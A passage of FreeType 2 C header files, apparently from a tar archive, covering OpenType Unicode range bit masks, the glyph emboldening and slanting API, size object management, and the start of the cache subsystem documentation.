TT_NAME_ID_PREFERRED_SUBFAMILY TT_NAME_ID_TYPOGRAPHIC_SUBFAMILY /*********************************************************************** * * @enum: * TT_UCR_XXX * * @description: * Possible bit mask values for the `ulUnicodeRangeX' fields in an SFNT * `OS/2' table. */ /* ulUnicodeRange1 */ /* --------------- */ /* Bit 0 Basic Latin */ #define TT_UCR_BASIC_LATIN (1L << 0) /* U+0020-U+007E */ /* Bit 1 C1 Controls and Latin-1 Supplement */ #define TT_UCR_LATIN1_SUPPLEMENT (1L << 1) /* U+0080-U+00FF */ /* Bit 2 Latin Extended-A */ #define TT_UCR_LATIN_EXTENDED_A (1L << 2) /* U+0100-U+017F */ /* Bit 3 Latin Extended-B */ #define TT_UCR_LATIN_EXTENDED_B (1L << 3) /* U+0180-U+024F */ /* Bit 4 IPA Extensions */ /* Phonetic Extensions */ /* Phonetic Extensions Supplement */ #define TT_UCR_IPA_EXTENSIONS (1L << 4) /* U+0250-U+02AF */ /* U+1D00-U+1D7F */ /* U+1D80-U+1DBF */ /* Bit 5 Spacing Modifier Letters */ /* Modifier Tone Letters */ #define TT_UCR_SPACING_MODIFIER (1L << 5) /* U+02B0-U+02FF */ /* U+A700-U+A71F */ /* Bit 6 Combining Diacritical Marks */ /* Combining Diacritical Marks Supplement */ #define TT_UCR_COMBINING_DIACRITICAL_MARKS (1L << 6) /* U+0300-U+036F */ /* U+1DC0-U+1DFF */ /* Bit 7 Greek and Coptic */ #define TT_UCR_GREEK (1L << 7) /* U+0370-U+03FF */ /* Bit 8 Coptic */ #define TT_UCR_COPTIC (1L << 8) /* U+2C80-U+2CFF */ /* Bit 9 Cyrillic */ /* Cyrillic Supplement */ /* Cyrillic Extended-A */ /* Cyrillic Extended-B */ #define TT_UCR_CYRILLIC (1L << 9) /* U+0400-U+04FF */ /* U+0500-U+052F */ /* U+2DE0-U+2DFF */ /* U+A640-U+A69F */ /* Bit 10 Armenian */ #define TT_UCR_ARMENIAN (1L << 10) /* U+0530-U+058F */ /* Bit 11 Hebrew */ #define TT_UCR_HEBREW (1L << 11) /* U+0590-U+05FF */ /* Bit 12 Vai */ #define TT_UCR_VAI (1L << 12) /* U+A500-U+A63F */ /* Bit 13 Arabic */ /* Arabic Supplement */ #define TT_UCR_ARABIC (1L << 13) /* U+0600-U+06FF */ /* U+0750-U+077F */ /* Bit 14 NKo */ #define TT_UCR_NKO (1L << 14) /* U+07C0-U+07FF */ /* Bit 15 Devanagari */ #define TT_UCR_DEVANAGARI (1L << 15) /* U+0900-U+097F */ /* Bit 16 Bengali */ #define TT_UCR_BENGALI (1L << 16) /* U+0980-U+09FF */ /* Bit 17 Gurmukhi */ #define TT_UCR_GURMUKHI (1L << 17) /* U+0A00-U+0A7F */ /* Bit 18 Gujarati */ #define TT_UCR_GUJARATI (1L << 18) /* U+0A80-U+0AFF */ /* Bit 19 Oriya */ #define TT_UCR_ORIYA (1L << 19) /* U+0B00-U+0B7F */ /* Bit 20 Tamil */ #define TT_UCR_TAMIL (1L << 20) /* U+0B80-U+0BFF */ /* Bit 21 Telugu */ #define TT_UCR_TELUGU (1L << 21) /* U+0C00-U+0C7F */ /* Bit 22 Kannada */ #define TT_UCR_KANNADA (1L << 22) /* U+0C80-U+0CFF */ /* Bit 23 Malayalam */ #define TT_UCR_MALAYALAM (1L << 23) /* U+0D00-U+0D7F */ /* Bit 24 Thai */ #define TT_UCR_THAI (1L << 24) /* U+0E00-U+0E7F */ /* Bit 25 Lao */ #define TT_UCR_LAO (1L << 25) /* U+0E80-U+0EFF */ /* Bit 26 Georgian */ /* Georgian Supplement */ #define TT_UCR_GEORGIAN (1L << 26) /* U+10A0-U+10FF */ /* U+2D00-U+2D2F */ /* Bit 27 Balinese */ #define TT_UCR_BALINESE (1L << 27) /* U+1B00-U+1B7F */ /* Bit 28 Hangul Jamo */ #define TT_UCR_HANGUL_JAMO (1L << 28) /* U+1100-U+11FF */ /* Bit 29 Latin Extended Additional */ /* Latin Extended-C */ /* Latin Extended-D */ #define TT_UCR_LATIN_EXTENDED_ADDITIONAL (1L << 29) /* U+1E00-U+1EFF */ /* U+2C60-U+2C7F */ /* U+A720-U+A7FF */ /* Bit 30 Greek Extended */ #define TT_UCR_GREEK_EXTENDED (1L << 30) /* U+1F00-U+1FFF */ /* Bit 31 General Punctuation */ /* Supplemental Punctuation */ #define TT_UCR_GENERAL_PUNCTUATION (1L << 31) /* U+2000-U+206F */ /* U+2E00-U+2E7F */ /* ulUnicodeRange2 */ /* --------------- */ /* Bit 32 Superscripts And Subscripts */ #define TT_UCR_SUPERSCRIPTS_SUBSCRIPTS (1L << 0) /* U+2070-U+209F */ /* Bit 33 Currency Symbols */ #define TT_UCR_CURRENCY_SYMBOLS (1L << 1) /* U+20A0-U+20CF */ /* Bit 34 Combining Diacritical Marks For Symbols */ #define TT_UCR_COMBINING_DIACRITICAL_MARKS_SYMB \ (1L << 2) /* U+20D0-U+20FF */ /* Bit 35 Letterlike Symbols */ #define TT_UCR_LETTERLIKE_SYMBOLS (1L << 3) /* U+2100-U+214F */ /* Bit 36 Number Forms */ #define TT_UCR_NUMBER_FORMS (1L << 4) /* U+2150-U+218F */ /* Bit 37 Arrows */ /* Supplemental Arrows-A */ /* Supplemental Arrows-B */ /* Miscellaneous Symbols and Arrows */ #define TT_UCR_ARROWS (1L << 5) /* U+2190-U+21FF */ /* U+27F0-U+27FF */ /* U+2900-U+297F */ /* U+2B00-U+2BFF */ /* Bit 38 Mathematical Operators */ /* Supplemental Mathematical Operators */ /* Miscellaneous Mathematical Symbols-A */ /* Miscellaneous Mathematical Symbols-B */ #define TT_UCR_MATHEMATICAL_OPERATORS (1L << 6) /* U+2200-U+22FF */ /* U+2A00-U+2AFF */ /* U+27C0-U+27EF */ /* U+2980-U+29FF */ /* Bit 39 Miscellaneous Technical */ #define TT_UCR_MISCELLANEOUS_TECHNICAL (1L << 7) /* U+2300-U+23FF */ /* Bit 40 Control Pictures */ #define TT_UCR_CONTROL_PICTURES (1L << 8) /* U+2400-U+243F */ /* Bit 41 Optical Character Recognition */ #define TT_UCR_OCR (1L << 9) /* U+2440-U+245F */ /* Bit 42 Enclosed Alphanumerics */ #define TT_UCR_ENCLOSED_ALPHANUMERICS (1L << 10) /* U+2460-U+24FF */ /* Bit 43 Box Drawing */ #define TT_UCR_BOX_DRAWING (1L << 11) /* U+2500-U+257F */ /* Bit 44 Block Elements */ #define TT_UCR_BLOCK_ELEMENTS (1L << 12) /* U+2580-U+259F */ /* Bit 45 Geometric Shapes */ #define TT_UCR_GEOMETRIC_SHAPES (1L << 13) /* U+25A0-U+25FF */ /* Bit 46 Miscellaneous Symbols */ #define TT_UCR_MISCELLANEOUS_SYMBOLS (1L << 14) /* U+2600-U+26FF */ /* Bit 47 Dingbats */ #define TT_UCR_DINGBATS (1L << 15) /* U+2700-U+27BF */ /* Bit 48 CJK Symbols and Punctuation */ #define TT_UCR_CJK_SYMBOLS (1L << 16) /* U+3000-U+303F */ /* Bit 49 Hiragana */ #define TT_UCR_HIRAGANA (1L << 17) /* U+3040-U+309F */ /* Bit 50 Katakana */ /* Katakana Phonetic Extensions */ #define TT_UCR_KATAKANA (1L << 18) /* U+30A0-U+30FF */ /* U+31F0-U+31FF */ /* Bit 51 Bopomofo */ /* Bopomofo Extended */ #define TT_UCR_BOPOMOFO (1L << 19) /* U+3100-U+312F */ /* U+31A0-U+31BF */ /* Bit 52 Hangul Compatibility Jamo */ #define TT_UCR_HANGUL_COMPATIBILITY_JAMO (1L << 20) /* U+3130-U+318F */ /* Bit 53 Phags-Pa */ #define TT_UCR_CJK_MISC (1L << 21) /* U+A840-U+A87F */ #define TT_UCR_KANBUN TT_UCR_CJK_MISC /* deprecated */ #define TT_UCR_PHAGSPA /* Bit 54 Enclosed CJK Letters and Months */ #define TT_UCR_ENCLOSED_CJK_LETTERS_MONTHS (1L << 22) /* U+3200-U+32FF */ /* Bit 55 CJK Compatibility */ #define TT_UCR_CJK_COMPATIBILITY (1L << 23) /* U+3300-U+33FF */ /* Bit 56 Hangul Syllables */ #define TT_UCR_HANGUL (1L << 24) /* U+AC00-U+D7A3 */ /* Bit 57 High Surrogates */ /* High Private Use Surrogates */ /* Low Surrogates */ /* According to OpenType specs v.1.3+, */ /* setting bit 57 implies that there is */ /* at least one codepoint beyond the */ /* Basic Multilingual Plane that is */ /* supported by this font. So it really */ /* means >= U+10000. */ #define TT_UCR_SURROGATES (1L << 25) /* U+D800-U+DB7F */ /* U+DB80-U+DBFF */ /* U+DC00-U+DFFF */ #define TT_UCR_NON_PLANE_0 TT_UCR_SURROGATES /* Bit 58 Phoenician */ #define TT_UCR_PHOENICIAN (1L << 26) /*U+10900-U+1091F*/ /* Bit 59 CJK Unified Ideographs */ /* CJK Radicals Supplement */ /* Kangxi Radicals */ /* Ideographic Description Characters */ /* CJK Unified Ideographs Extension A */ /* CJK Unified Ideographs Extension B */ /* Kanbun */ #define TT_UCR_CJK_UNIFIED_IDEOGRAPHS (1L << 27) /* U+4E00-U+9FFF */ /* U+2E80-U+2EFF */ /* U+2F00-U+2FDF */ /* U+2FF0-U+2FFF */ /* U+3400-U+4DB5 */ /*U+20000-U+2A6DF*/ /* U+3190-U+319F */ /* Bit 60 Private Use */ #define TT_UCR_PRIVATE_USE (1L << 28) /* U+E000-U+F8FF */ /* Bit 61 CJK Strokes */ /* CJK Compatibility Ideographs */ /* CJK Compatibility Ideographs Supplement */ #define TT_UCR_CJK_COMPATIBILITY_IDEOGRAPHS (1L << 29) /* U+31C0-U+31EF */ /* U+F900-U+FAFF */ /*U+2F800-U+2FA1F*/ /* Bit 62 Alphabetic Presentation Forms */ #define TT_UCR_ALPHABETIC_PRESENTATION_FORMS (1L << 30) /* U+FB00-U+FB4F */ /* Bit 63 Arabic Presentation Forms-A */ #define TT_UCR_ARABIC_PRESENTATION_FORMS_A (1L << 31) /* U+FB50-U+FDFF */ /* ulUnicodeRange3 */ /* --------------- */ /* Bit 64 Combining Half Marks */ #define TT_UCR_COMBINING_HALF_MARKS (1L << 0) /* U+FE20-U+FE2F */ /* Bit 65 Vertical forms */ /* CJK Compatibility Forms */ #define TT_UCR_CJK_COMPATIBILITY_FORMS (1L << 1) /* U+FE10-U+FE1F */ /* U+FE30-U+FE4F */ /* Bit 66 Small Form Variants */ #define TT_UCR_SMALL_FORM_VARIANTS (1L << 2) /* U+FE50-U+FE6F */ /* Bit 67 Arabic Presentation Forms-B */ #define TT_UCR_ARABIC_PRESENTATION_FORMS_B (1L << 3) /* U+FE70-U+FEFE */ /* Bit 68 Halfwidth and Fullwidth Forms */ #define TT_UCR_HALFWIDTH_FULLWIDTH_FORMS (1L << 4) /* U+FF00-U+FFEF */ /* Bit 69 Specials */ #define TT_UCR_SPECIALS (1L << 5) /* U+FFF0-U+FFFD */ /* Bit 70 Tibetan */ #define TT_UCR_TIBETAN (1L << 6) /* U+0F00-U+0FFF */ /* Bit 71 Syriac */ #define TT_UCR_SYRIAC (1L << 7) /* U+0700-U+074F */ /* Bit 72 Thaana */ #define TT_UCR_THAANA (1L << 8) /* U+0780-U+07BF */ /* Bit 73 Sinhala */ #define TT_UCR_SINHALA (1L << 9) /* U+0D80-U+0DFF */ /* Bit 74 Myanmar */ #define TT_UCR_MYANMAR (1L << 10) /* U+1000-U+109F */ /* Bit 75 Ethiopic */ /* Ethiopic Supplement */ /* Ethiopic Extended */ #define TT_UCR_ETHIOPIC (1L << 11) /* U+1200-U+137F */ /* U+1380-U+139F */ /* U+2D80-U+2DDF */ /* Bit 76 Cherokee */ #define TT_UCR_CHEROKEE (1L << 12) /* U+13A0-U+13FF */ /* Bit 77 Unified Canadian Aboriginal Syllabics */ #define TT_UCR_CANADIAN_ABORIGINAL_SYLLABICS (1L << 13) /* U+1400-U+167F */ /* Bit 78 Ogham */ #define TT_UCR_OGHAM (1L << 14) /* U+1680-U+169F */ /* Bit 79 Runic */ #define TT_UCR_RUNIC (1L << 15) /* U+16A0-U+16FF */ /* Bit 80 Khmer */ /* Khmer Symbols */ #define TT_UCR_KHMER (1L << 16) /* U+1780-U+17FF */ /* U+19E0-U+19FF */ /* Bit 81 Mongolian */ #define TT_UCR_MONGOLIAN (1L << 17) /* U+1800-U+18AF */ /* Bit 82 Braille Patterns */ #define TT_UCR_BRAILLE (1L << 18) /* U+2800-U+28FF */ /* Bit 83 Yi Syllables */ /* Yi Radicals */ #define TT_UCR_YI (1L << 19) /* U+A000-U+A48F */ /* U+A490-U+A4CF */ /* Bit 84 Tagalog */ /* Hanunoo */ /* Buhid */ /* Tagbanwa */ #define TT_UCR_PHILIPPINE (1L << 20) /* U+1700-U+171F */ /* U+1720-U+173F */ /* U+1740-U+175F */ /* U+1760-U+177F */ /* Bit 85 Old Italic */ #define TT_UCR_OLD_ITALIC (1L << 21) /*U+10300-U+1032F*/ /* Bit 86 Gothic */ #define TT_UCR_GOTHIC (1L << 22) /*U+10330-U+1034F*/ /* Bit 87 Deseret */ #define TT_UCR_DESERET (1L << 23) /*U+10400-U+1044F*/ /* Bit 88 Byzantine Musical Symbols */ /* Musical Symbols */ /* Ancient Greek Musical Notation */ #define TT_UCR_MUSICAL_SYMBOLS (1L << 24) /*U+1D000-U+1D0FF*/ /*U+1D100-U+1D1FF*/ /*U+1D200-U+1D24F*/ /* Bit 89 Mathematical Alphanumeric Symbols */ #define TT_UCR_MATH_ALPHANUMERIC_SYMBOLS (1L << 25) /*U+1D400-U+1D7FF*/ /* Bit 90 Private Use (plane 15) */ /* Private Use (plane 16) */ #define TT_UCR_PRIVATE_USE_SUPPLEMENTARY (1L << 26) /*U+F0000-U+FFFFD*/ /*U+100000-U+10FFFD*/ /* Bit 91 Variation Selectors */ /* Variation Selectors Supplement */ #define TT_UCR_VARIATION_SELECTORS (1L << 27) /* U+FE00-U+FE0F */ /*U+E0100-U+E01EF*/ /* Bit 92 Tags */ #define TT_UCR_TAGS (1L << 28) /*U+E0000-U+E007F*/ /* Bit 93 Limbu */ #define TT_UCR_LIMBU (1L << 29) /* U+1900-U+194F */ /* Bit 94 Tai Le */ #define TT_UCR_TAI_LE (1L << 30) /* U+1950-U+197F */ /* Bit 95 New Tai Lue */ #define TT_UCR_NEW_TAI_LUE (1L << 31) /* U+1980-U+19DF */ /* ulUnicodeRange4 */ /* --------------- */ /* Bit 96 Buginese */ #define TT_UCR_BUGINESE (1L << 0) /* U+1A00-U+1A1F */ /* Bit 97 Glagolitic */ #define TT_UCR_GLAGOLITIC (1L << 1) /* U+2C00-U+2C5F */ /* Bit 98 Tifinagh */ #define TT_UCR_TIFINAGH (1L << 2) /* U+2D30-U+2D7F */ /* Bit 99 Yijing Hexagram Symbols */ #define TT_UCR_YIJING (1L << 3) /* U+4DC0-U+4DFF */ /* Bit 100 Syloti Nagri */ #define TT_UCR_SYLOTI_NAGRI (1L << 4) /* U+A800-U+A82F */ /* Bit 101 Linear B Syllabary */ /* Linear B Ideograms */ /* Aegean Numbers */ #define TT_UCR_LINEAR_B (1L << 5) /*U+10000-U+1007F*/ /*U+10080-U+100FF*/ /*U+10100-U+1013F*/ /* Bit 102 Ancient Greek Numbers */ #define TT_UCR_ANCIENT_GREEK_NUMBERS (1L << 6) /*U+10140-U+1018F*/ /* Bit 103 Ugaritic */ #define TT_UCR_UGARITIC (1L << 7) /*U+10380-U+1039F*/ /* Bit 104 Old Persian */ #define TT_UCR_OLD_PERSIAN (1L << 8) /*U+103A0-U+103DF*/ /* Bit 105 Shavian */ #define TT_UCR_SHAVIAN (1L << 9) /*U+10450-U+1047F*/ /* Bit 106 Osmanya */ #define TT_UCR_OSMANYA (1L << 10) /*U+10480-U+104AF*/ /* Bit 107 Cypriot Syllabary */ #define TT_UCR_CYPRIOT_SYLLABARY (1L << 11) /*U+10800-U+1083F*/ /* Bit 108 Kharoshthi */ #define TT_UCR_KHAROSHTHI (1L << 12) /*U+10A00-U+10A5F*/ /* Bit 109 Tai Xuan Jing Symbols */ #define TT_UCR_TAI_XUAN_JING (1L << 13) /*U+1D300-U+1D35F*/ /* Bit 110 Cuneiform */ /* Cuneiform Numbers and Punctuation */ #define TT_UCR_CUNEIFORM (1L << 14) /*U+12000-U+123FF*/ /*U+12400-U+1247F*/ /* Bit 111 Counting Rod Numerals */ #define TT_UCR_COUNTING_ROD_NUMERALS (1L << 15) /*U+1D360-U+1D37F*/ /* Bit 112 Sundanese */ #define TT_UCR_SUNDANESE (1L << 16) /* U+1B80-U+1BBF */ /* Bit 113 Lepcha */ #define TT_UCR_LEPCHA (1L << 17) /* U+1C00-U+1C4F */ /* Bit 114 Ol Chiki */ #define TT_UCR_OL_CHIKI (1L << 18) /* U+1C50-U+1C7F */ /* Bit 115 Saurashtra */ #define TT_UCR_SAURASHTRA (1L << 19) /* U+A880-U+A8DF */ /* Bit 116 Kayah Li */ #define TT_UCR_KAYAH_LI (1L << 20) /* U+A900-U+A92F */ /* Bit 117 Rejang */ #define TT_UCR_REJANG (1L << 21) /* U+A930-U+A95F */ /* Bit 118 Cham */ #define TT_UCR_CHAM (1L << 22) /* U+AA00-U+AA5F */ /* Bit 119 Ancient Symbols */ #define TT_UCR_ANCIENT_SYMBOLS (1L << 23) /*U+10190-U+101CF*/ /* Bit 120 Phaistos Disc */ #define TT_UCR_PHAISTOS_DISC (1L << 24) /*U+101D0-U+101FF*/ /* Bit 121 Carian */ /* Lycian */ /* Lydian */ #define TT_UCR_OLD_ANATOLIAN (1L << 25) /*U+102A0-U+102DF*/ /*U+10280-U+1029F*/ /*U+10920-U+1093F*/ /* Bit 122 Domino Tiles */ /* Mahjong Tiles */ #define TT_UCR_GAME_TILES (1L << 26) /*U+1F030-U+1F09F*/ /*U+1F000-U+1F02F*/ /* Bit 123-127 Reserved for process-internal usage */ /* */ /* for backward compatibility with older FreeType versions */ #define TT_UCR_ARABIC_PRESENTATION_A \ TT_UCR_ARABIC_PRESENTATION_FORMS_A #define TT_UCR_ARABIC_PRESENTATION_B \ TT_UCR_ARABIC_PRESENTATION_FORMS_B #define TT_UCR_COMBINING_DIACRITICS \ TT_UCR_COMBINING_DIACRITICAL_MARKS #define TT_UCR_COMBINING_DIACRITICS_SYMB \ TT_UCR_COMBINING_DIACRITICAL_MARKS_SYMB FT_END_HEADER #endif /* TTNAMEID_H_ */ /* END */ freetype2/freetype/ftsynth.h 0000644 00000010033 15246445047 0012154 0 ustar 00 /***************************************************************************/ /* */ /* ftsynth.h */ /* */ /* FreeType synthesizing code for emboldening and slanting */ /* (specification). */ /* */ /* Copyright 2000-2018 by */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ /*************************************************************************/ /*************************************************************************/ /*************************************************************************/ /*************************************************************************/ /*************************************************************************/ /********* *********/ /********* WARNING, THIS IS ALPHA CODE! THIS API *********/ /********* IS DUE TO CHANGE UNTIL STRICTLY NOTIFIED BY THE *********/ /********* FREETYPE DEVELOPMENT TEAM *********/ /********* *********/ /*************************************************************************/ /*************************************************************************/ /*************************************************************************/ /*************************************************************************/ /*************************************************************************/ /* Main reason for not lifting the functions in this module to a */ /* `standard' API is that the used parameters for emboldening and */ /* slanting are not configurable. Consider the functions as a */ /* code resource that should be copied into the application and */ /* adapted to the particular needs. */ #ifndef FTSYNTH_H_ #define FTSYNTH_H_ #include <ft2build.h> #include FT_FREETYPE_H #ifdef FREETYPE_H #error "freetype.h of FreeType 1 has been loaded!" #error "Please fix the directory search order for header files" #error "so that freetype.h of FreeType 2 is found first." #endif FT_BEGIN_HEADER /* Embolden a glyph by a `reasonable' value (which is highly a matter of */ /* taste). This function is actually a convenience function, providing */ /* a wrapper for @FT_Outline_Embolden and @FT_Bitmap_Embolden. */ /* */ /* For emboldened outlines the height, width, and advance metrics are */ /* increased by the strength of the emboldening -- this even affects */ /* mono-width fonts! */ /* */ /* You can also call @FT_Outline_Get_CBox to get precise values. */ FT_EXPORT( void ) FT_GlyphSlot_Embolden( FT_GlyphSlot slot ); /* Slant an outline glyph to the right by about 12 degrees. */ FT_EXPORT( void ) FT_GlyphSlot_Oblique( FT_GlyphSlot slot ); /* */ FT_END_HEADER #endif /* FTSYNTH_H_ */ /* END */ freetype2/freetype/ftsizes.h 0000644 00000022520 15246445047 0012150 0 ustar 00 /***************************************************************************/ /* */ /* ftsizes.h */ /* */ /* FreeType size objects management (specification). */ /* */ /* Copyright 1996-2018 by */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ /*************************************************************************/ /* */ /* Typical application would normally not need to use these functions. */ /* However, they have been placed in a public API for the rare cases */ /* where they are needed. */ /* */ /*************************************************************************/ #ifndef FTSIZES_H_ #define FTSIZES_H_ #include <ft2build.h> #include FT_FREETYPE_H #ifdef FREETYPE_H #error "freetype.h of FreeType 1 has been loaded!" #error "Please fix the directory search order for header files" #error "so that freetype.h of FreeType 2 is found first." #endif FT_BEGIN_HEADER /*************************************************************************/ /* */ /* <Section> */ /* sizes_management */ /* */ /* <Title> */ /* Size Management */ /* */ /* <Abstract> */ /* Managing multiple sizes per face. */ /* */ /* <Description> */ /* When creating a new face object (e.g., with @FT_New_Face), an */ /* @FT_Size object is automatically created and used to store all */ /* pixel-size dependent information, available in the `face->size' */ /* field. */ /* */ /* It is however possible to create more sizes for a given face, */ /* mostly in order to manage several character pixel sizes of the */ /* same font family and style. See @FT_New_Size and @FT_Done_Size. */ /* */ /* Note that @FT_Set_Pixel_Sizes and @FT_Set_Char_Size only */ /* modify the contents of the current `active' size; you thus need */ /* to use @FT_Activate_Size to change it. */ /* */ /* 99% of applications won't need the functions provided here, */ /* especially if they use the caching sub-system, so be cautious */ /* when using these. */ /* */ /*************************************************************************/ /*************************************************************************/ /* */ /* <Function> */ /* FT_New_Size */ /* */ /* <Description> */ /* Create a new size object from a given face object. */ /* */ /* <Input> */ /* face :: A handle to a parent face object. */ /* */ /* <Output> */ /* asize :: A handle to a new size object. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* You need to call @FT_Activate_Size in order to select the new size */ /* for upcoming calls to @FT_Set_Pixel_Sizes, @FT_Set_Char_Size, */ /* @FT_Load_Glyph, @FT_Load_Char, etc. */ /* */ FT_EXPORT( FT_Error ) FT_New_Size( FT_Face face, FT_Size* size ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Done_Size */ /* */ /* <Description> */ /* Discard a given size object. Note that @FT_Done_Face */ /* automatically discards all size objects allocated with */ /* @FT_New_Size. */ /* */ /* <Input> */ /* size :: A handle to a target size object. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ FT_EXPORT( FT_Error ) FT_Done_Size( FT_Size size ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Activate_Size */ /* */ /* <Description> */ /* Even though it is possible to create several size objects for a */ /* given face (see @FT_New_Size for details), functions like */ /* @FT_Load_Glyph or @FT_Load_Char only use the one that has been */ /* activated last to determine the `current character pixel size'. */ /* */ /* This function can be used to `activate' a previously created size */ /* object. */ /* */ /* <Input> */ /* size :: A handle to a target size object. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* If `face' is the size's parent face object, this function changes */ /* the value of `face->size' to the input size handle. */ /* */ FT_EXPORT( FT_Error ) FT_Activate_Size( FT_Size size ); /* */ FT_END_HEADER #endif /* FTSIZES_H_ */ /* END */ freetype2/freetype/ftcache.h 0000644 00000156403 15246445047 0012066 0 ustar 00 /***************************************************************************/ /* */ /* ftcache.h */ /* */ /* FreeType Cache subsystem (specification). */ /* */ /* Copyright 1996-2018 by */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ #ifndef FTCACHE_H_ #define FTCACHE_H_ #include <ft2build.h> #include FT_GLYPH_H FT_BEGIN_HEADER /************************************************************************* * * <Section> * cache_subsystem * * <Title> * Cache Sub-System * * <Abstract> * How to cache face, size, and glyph data with FreeType~2. * * <Description> * This section describes the FreeType~2 cache sub-system, which is used * to limit the number of concurrently opened @FT_Face and @FT_Size * objects, as well as caching information like character maps and glyph * images while limiting their maximum memory usage. * * Note that all types and functions begin with the `FTC_' prefix. * * The cache is highly portable and thus doesn't know anything about the * fonts installed on your system, or how to access them. This implies * the following scheme: * * First, available or installed font faces are uniquely identified by * @FTC_FaceID values, provided to the cache by the client. Note that * the cache only stores and compares these values, and doesn't try to * interpret them in any way. * * Second, the cache calls, only when needed, a client-provided function * to convert an @FTC_FaceID into a new @FT_Face object. The latter is * then completely managed by the cache, including its termination * through @FT_Done_Face. To monitor termination of face objects, the * finalizer callback in the `generic' field of the @FT_Face object can * be used, which might also be used to store the @FTC_FaceID of the * face. * * Clients are free to map face IDs to anything else. The most simple * usage is to associate them to a (pathname,face_index) pair that is * used to call @FT_New_Face. However, more complex schemes are also * possible. * * Note that for the cache to work correctly, the face ID values must be * *persistent*, which means that the contents they point to should not * change at runtime, or that their value should not become invalid. * * If this is unavoidable (e.g., when a font is uninstalled at runtime), * you should call @FTC_Manager_RemoveFaceID as soon as possible, to let * the cache get rid of any references to the old @FTC_FaceID it may * keep internally. Failure to do so will lead to incorrect behaviour * or even crashes. * * To use the cache, start with calling @FTC_Manager_New to create a new * @FTC_Manager object, which models a single cache instance. You can * then look up @FT_Face and @FT_Size objects with * @FTC_Manager_LookupFace and @FTC_Manager_LookupSize, respectively. * * If you want to use the charmap caching, call @FTC_CMapCache_New, then * later use @FTC_CMapCache_Lookup to perform the equivalent of * @FT_Get_Char_Index, only much faster. * * If you want to use the @FT_Glyph caching, call @FTC_ImageCache, then * later use @FTC_ImageCache_Lookup to retrieve the corresponding * @FT_Glyph objects from the cache. * * If you need lots of small bitmaps, it is much more memory efficient * to call @FTC_SBitCache_New followed by @FTC_SBitCache_Lookup. This * returns @FTC_SBitRec structures, which are used to store small * bitmaps directly. (A small bitmap is one whose metrics and * dimensions all fit into 8-bit integers). * * We hope to also provide a kerning cache in the near future. * * * <Order> * FTC_Manager * FTC_FaceID * FTC_Face_Requester * * FTC_Manager_New * FTC_Manager_Reset * FTC_Manager_Done * FTC_Manager_LookupFace * FTC_Manager_LookupSize * FTC_Manager_RemoveFaceID * * FTC_Node * FTC_Node_Unref * * FTC_ImageCache * FTC_ImageCache_New * FTC_ImageCache_Lookup * * FTC_SBit * FTC_SBitCache * FTC_SBitCache_New * FTC_SBitCache_Lookup * * FTC_CMapCache * FTC_CMapCache_New * FTC_CMapCache_Lookup * *************************************************************************/ /*************************************************************************/ /*************************************************************************/ /*************************************************************************/ /***** *****/ /***** BASIC TYPE DEFINITIONS *****/ /***** *****/ /*************************************************************************/ /*************************************************************************/ /*************************************************************************/ /************************************************************************* * * @type: FTC_FaceID * * @description: * An opaque pointer type that is used to identity face objects. The * contents of such objects is application-dependent. * * These pointers are typically used to point to a user-defined * structure containing a font file path, and face index. * * @note: * Never use NULL as a valid @FTC_FaceID. * * Face IDs are passed by the client to the cache manager that calls, * when needed, the @FTC_Face_Requester to translate them into new * @FT_Face objects. * * If the content of a given face ID changes at runtime, or if the value * becomes invalid (e.g., when uninstalling a font), you should * immediately call @FTC_Manager_RemoveFaceID before any other cache * function. * * Failure to do so will result in incorrect behaviour or even * memory leaks and crashes. */ typedef FT_Pointer FTC_FaceID; /************************************************************************ * * @functype: * FTC_Face_Requester * * @description: * A callback function provided by client applications. It is used by * the cache manager to translate a given @FTC_FaceID into a new valid * @FT_Face object, on demand. * * <Input> * face_id :: * The face ID to resolve. * * library :: * A handle to a FreeType library object. * * req_data :: * Application-provided request data (see note below). * * <Output> * aface :: * A new @FT_Face handle. * * <Return> * FreeType error code. 0~means success. * * <Note> * The third parameter `req_data' is the same as the one passed by the * client when @FTC_Manager_New is called. * * The face requester should not perform funny things on the returned * face object, like creating a new @FT_Size for it, or setting a * transformation through @FT_Set_Transform! */ typedef FT_Error (*FTC_Face_Requester)( FTC_FaceID face_id, FT_Library library, FT_Pointer req_data, FT_Face* aface ); /* */ /*************************************************************************/ /*************************************************************************/ /*************************************************************************/ /***** *****/ /***** CACHE MANAGER OBJECT *****/ /***** *****/ /*************************************************************************/ /*************************************************************************/ /*************************************************************************/ /*************************************************************************/ /* */ /* <Type> */ /* FTC_Manager */ /* */ /* <Description> */ /* This object corresponds to one instance of the cache-subsystem. */ /* It is used to cache one or more @FT_Face objects, along with */ /* corresponding @FT_Size objects. */ /* */ /* The manager intentionally limits the total number of opened */ /* @FT_Face and @FT_Size objects to control memory usage. See the */ /* `max_faces' and `max_sizes' parameters of @FTC_Manager_New. */ /* */ /* The manager is also used to cache `nodes' of various types while */ /* limiting their total memory usage. */ /* */ /* All limitations are enforced by keeping lists of managed objects */ /* in most-recently-used order, and flushing old nodes to make room */ /* for new ones. */ /* */ typedef struct FTC_ManagerRec_* FTC_Manager; /*************************************************************************/ /* */ /* <Type> */ /* FTC_Node */ /* */ /* <Description> */ /* An opaque handle to a cache node object. Each cache node is */ /* reference-counted. A node with a count of~0 might be flushed */ /* out of a full cache whenever a lookup request is performed. */ /* */ /* If you look up nodes, you have the ability to `acquire' them, */ /* i.e., to increment their reference count. This will prevent 